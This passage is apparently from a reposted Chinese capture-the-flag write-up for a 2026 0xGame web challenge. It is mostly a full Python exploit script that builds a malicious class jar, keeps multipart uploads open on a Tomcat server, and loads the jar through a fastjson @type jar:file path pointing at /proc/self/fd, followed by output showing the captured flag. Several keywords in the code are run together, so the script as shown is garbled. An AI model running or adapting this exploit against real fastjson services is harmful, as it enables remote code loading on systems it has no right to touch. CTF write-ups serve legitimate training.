        i += 1
    raise SystemExit(f"utf8 not found: {old}")


def build_jar(workdir):
    src = os.path.join(workdir, "src")
    ann = os.path.join(src, "com", "alibaba", "fastjson", "annotation")
    os.makedirs(ann, exist_ok=True)
    open(os.path.join(ann, "JSONType.java"), "w", encoding="utf-8", newline="\n").write(JSONTYPE_JAVA)
    open(os.path.join(src, "H0.java"), "w", encoding="utf-8", newline="\n").write(H0_JAVA)
    classes = os.path.join(workdir, "classes")
    os.makedirs(classes, exist_ok=True)
    subprocess.check_call(
        ["javac", "--release", "8", "-g:none", "-d", classes,
         os.path.join(ann, "JSONType.java"), os.path.join(src, "H0.java")],
        stdout=subprocess.DEVNULL,
    )
    base = open(os.path.join(classes, "H0.class"), "rb").read()
    ifb"Lcom/alibaba/fastjson/annotation/JSONType;"notin base:
        raise SystemExit("JSONType descriptor missing; fastjson ASM probe will ignore the class")
    jar_path = os.path.join(workdir, "evil.jar")
    with zipfile.ZipFile(jar_path, "w", compression=zipfile.ZIP_STORED) as z:
        for fd in range(FD_LO, FD_HI):
            # 内部名(斜杠)经 JVM 的 '/' -> '.' 后必须等于 @type 的二进制名。
            internal = f"jar:file:/proc/self/fd/{fd}!/fd{fd}/H0"
            raw = patch_utf8(base, "H0", internal)
            raw = raw.replace(b"Qz9N", f"{fd:04d}".encode())
            z.writestr(f"fd{fd}/H0.class", raw)
    data = open(jar_path, "rb").read()
    log(f"jar {len(data)} bytes, fd {FD_LO}..{FD_HI - 1}")
    return data


def unchunk(header, body):
    ifb"chunked"notin header.lower():
        return body
    out = bytearray()
    i = 0
    while i < len(body):
        j = body.find(b"\r\n", i)
        if j < 0:
            break
        line = body[i:j].split(b";", 1)[0].strip()
        try:
            n = int(line, 16)
        except ValueError:
            return body
        if n == 0:
            break
        out += body[j + 2 : j + 2 + n]
        i = j + 2 + n + 2
    return bytes(out)


def seed_worker(tag, jar, ready):
    part = (
        f"--{BOUND}\r\n"
        'Content-Disposition: form-data; name="f"; filename="x.jar"\r\n'
        "Content-Type: application/octet-stream\r\n\r\n"
    ).encode() + jar + (b"A" * 32768)
    # 声明的长度大于已发送字节,且不发送结束 boundary。
    # Tomcat 把已写入的 part 留在临时文件上,线程阻塞读剩余 body,fd 一直开着。
    # 32KB 填充把 ZIP 的 EOCD 冲出 FileUpload 缓冲区,又小于 ZipFile 向前扫描的窗口。
    total = len(part) + 200000
    head = (
        f"POST /api/parse HTTP/1.1\r\nHost: {HOST}\r\n"
        f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
        f"Content-Length: {total}\r\nConnection: keep-alive\r\n\r\n"
    ).encode()
    while running andnot found.is_set():
        s = None
        try:
            s = socket.create_connection((HOST, PORT), timeout=15)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.sendall(head + part)
            ready.set()
            s.settimeout(2)
            try:
                early = s.recv(200)
                if early:
                    log(f"{tag} server answered early: {early[:120]!r}")
                    time.sleep(1)
                    continue
            except socket.timeout:
                pass
            deadline = time.time() + 25
            while running andnot found.is_set() and time.time() < deadline:
                time.sleep(0.4)
        except Exception as ex:
            log(f"{tag} {type(ex).__name__}: {ex}")
            time.sleep(1)
        finally:
            if s isnotNone:
                try:
                    s.close()
                except Exception:
                    pass


def probe(fd):
    # 二进制名不含 '/',过 ClassLoader.checkName;
    # replace('.', '/') 后变成 jar:file:/proc/self/fd/N!/fdN/H0.class
    body = json.dumps({"@type": f"jar:file:.proc.self.fd.{fd}!.fd{fd}.H0"}).encode()
    head = (
        f"POST /api/parse HTTP/1.1\r\nHost: {HOST}\r\n"
        "Content-Type: application/json\r\n"
        f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
    ).encode()
    timeout = float(os.environ.get("PROBE_TIMEOUT", "8"))
    s = socket.create_connection((HOST, PORT), timeout=timeout)
    s.settimeout(timeout)
    try:
        s.sendall(head + body)
        chunks = []
        whileTrue:
            b = s.recv(8192)
            ifnot b:
                break
            chunks.append(b)
            if sum(map(len, chunks)) > 200000:
                break
    finally:
        s.close()
    raw = b"".join(chunks)
    ifb"\r\n\r\n"notin raw:
        return"?", raw
    header, resp = raw.split(b"\r\n\r\n", 1)
    status = header.split(b" ", 2)[1].decode(errors="replace")
    return status, unchunk(header, resp)


def main():
    global running
    work = tempfile.mkdtemp(prefix="fj-")
    jar = build_jar(work)
    ready = threading.Event()
    for i in range(SEEDS):
        threading.Thread(target=seed_worker, args=(f"S{i}", jar, ready), daemon=True).start()
    ifnot ready.wait(20):
        log("upload never left the client")
        return1
    log("uploads held open, scanning fds")
    time.sleep(1.2)

    lock = threading.Lock()
    nxt = [FD_LO]

    def worker():
        whilenot found.is_set():
            with lock:
                fd, nxt[0] = nxt[0], nxt[0] + 1
            if fd >= FD_HI:
                return
            try:
                status, resp = probe(fd)
            except Exception as ex:
                log(f"fd {fd} {type(ex).__name__}")
                continue
            else:
                ifnot (b'"m"'in resp orb"0xGame"in resp):
                    log(f"fd {fd} HTTP {status} {len(resp)}B {resp[:80]!r}")
            if"题目实例未找到".encode() in resp or (
                status == "404"andb"flag"notin resp.lower()
            ):
                log("instance is gone (404)")
                found.set()
                return
            flag = re.search(rb"0xGame\{[^}]+\}", resp)
            loaded = b'"m"'in resp orb'"root"'in resp orb'"f0"'in resp
            if flag or loaded:
                log(f"fd {fd} HTTP {status} {resp[:500]!r}")
                hit_body.append(resp)
                found.set()
                if flag:
                    print(flag.group().decode())
                return

    pool = [threading.Thread(target=worker, daemon=True) for _ in range(WORKERS)]
    for t in pool:
        t.start()
    for t in pool:
        t.join()
    running = False
    ifnot found.is_set():
        log("no fd served the uploaded jar")
        return1
    return0


if __name__ == "__main__":
    sys.exit(main())

本次输出:

[15:07:53] fd 13 HTTP 200 {"cwd":"/app/.","root":"...flag,entrypoint.sh,app","f0":"0xGame{61d9e381-8547-4430-a067-377b347e7459}\n","env":"null","m":"1","fd":"0013"}
0xGame{61d9e381-8547-4430-a067-377b347e7459}

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《2026-0xGame【web】全解》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。